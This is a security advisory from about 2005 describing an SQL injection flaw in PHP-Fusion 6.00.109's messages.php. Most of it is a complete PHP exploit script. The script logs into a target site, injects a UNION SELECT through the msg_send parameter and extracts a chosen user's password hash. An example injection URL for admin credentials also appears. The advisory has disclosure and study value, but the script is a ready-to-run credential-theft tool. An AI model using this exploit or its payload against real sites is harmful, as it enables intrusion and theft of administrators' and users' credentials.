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PHP-Fusion msg_send SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://www.php-fusion.co.uk/> PHP-Fusion - "A light-weight open-source
content management system (CMS) written in PHP. It utilizes a MySQL
database to store your site content and includes a simple, comprehensive
administration system."
An SQL Injection vulnerability has been discovered in PHP-Fusion's
messages.php script.
DETAILS
Vulnerable Systems:
* PHP-Fusion version 6.00.109
If magic_quotes set to off, PHP-Fusion vulnerable to SQL Injection.
Example:
http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=' UNION SELECT
user_password FROM fusion_users WHERE user_name='[admin_username]'/*
Now hash will be showed in "To:" field when you post a private message.
Exploit:
<?php
# 19.17 28/09/2005 #
# #
# -- PhpF6_00_109xpl.php #
# #
# PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
#
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# mphhh, private messages again...tze,tze #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# go! #
# #
# Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy,
#
# but does not allow the enemy's will to be imposed on him" #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title> *** PHP-Fusion v6.00.109 SQL Injection *** </title>
<meta
http-equiv= "Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"><!-- body,td,th {color:#00FF00;} body{background-color:
#000000;}
Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size:
10px; }
Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:
bold;
font-style: italic; } --> </style></head><body> <p class="Stile6">
Php-Fusion v6.
00.109 SQL Injection / admin|user credentials disclosure </p><p
class="Stile6">
a script by rgod at <a href="http://rgod.altervista.org"; target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form
name="form1" method="post"
action="'.$SERVER[PHP_SELF].'?path=value&host=value
&port=value&proxy=value&user=value&pass=value&username=value"> <p> <input
type="text" name="host"><span class="Stile5"> hostname ( ex:
www.sitename.com )
</span></p> <p> <input type="text" name="path"><span class="Stile5"> path
(ex:
/phpfusion/ or just /)</span></p><p> <input type="text" name="port"> <span
class="Stile5">specify a port other than 80 (default value)</span></p><p>
<input
type="text" name="user"> <span class="Stile5">your username </span> </p>
<p>
<input type="text" name="pass"> <span class="Stile5">your password ( to
get a
valid session cookie) </span></p><p><input type="text" name="username">
<span
class="Stile5">user whom you want the password </span></p><p><input
type="text"
name="proxy"> <span class="Stile5"> send exploit trough an HTTP proxy
</span>
</p> <p> <input type="submit"name="Submit" value="go!"> </p></form> </td>
</tr>
</table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket()
{
global $proxy, $host, $port, $html, $packet;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,2048);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($user<>'') and ($pass<>'') and
($username<>''))
{
if ($port=='') {$port=80;}
#STEP 1 -> login, to retrieve a session cookie...
$data="user_name=".urlencode(trim($user)).
"&user_pass=".urlencode(trim($pass))."&login=Login";
if ($proxy=='')
{$packet="POST ".$path."news.php HTTP/1.1\r\n";}
else
{$packet="POST http://".$host.$path."news.php HTTP/1.1\r\n";}
$packet="Referer: http://".$host.$path."/news.php\r\n";;
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: fusion_visited=yes;
PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
# STEP 2 -> SQL Injection, now retrieve the MD5 password hash from
database
$username=str_replace("'","",$username);
$sql="' UNION SELECT user_password FROM fusion_users WHERE
user_name='".trim($username)."'/*";
if ($proxy=='')
{$packet="GET ".$path."messages.php?msg_send=".urlencode($sql)."
HTTP/1.1\r\n";}
else
{$packet="GET
http://".$host.$path."messages.php?msg_send=".urlencode($sql)."
HTTP/1.1\r\n";}
$packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6,
*;q=0.1\r\n";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Cookie2: \$Version=1\r\n";
$packet.="Connection: Keep-Alive, TE\r\n";
$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi('For Members only',$html)) {echo 'You have to specify a valid
session cookie...'; die; }
$temp=explode("'Click to view the senders profile'>",$html);
$temp2=explode("</a>",$temp[1]);
$hash=$temp2[0];
echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;
}
else
{ echo '<br> Fill requested fields, optionally specify a proxy...';}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:retrogod@aliceposta.it>
rgod.
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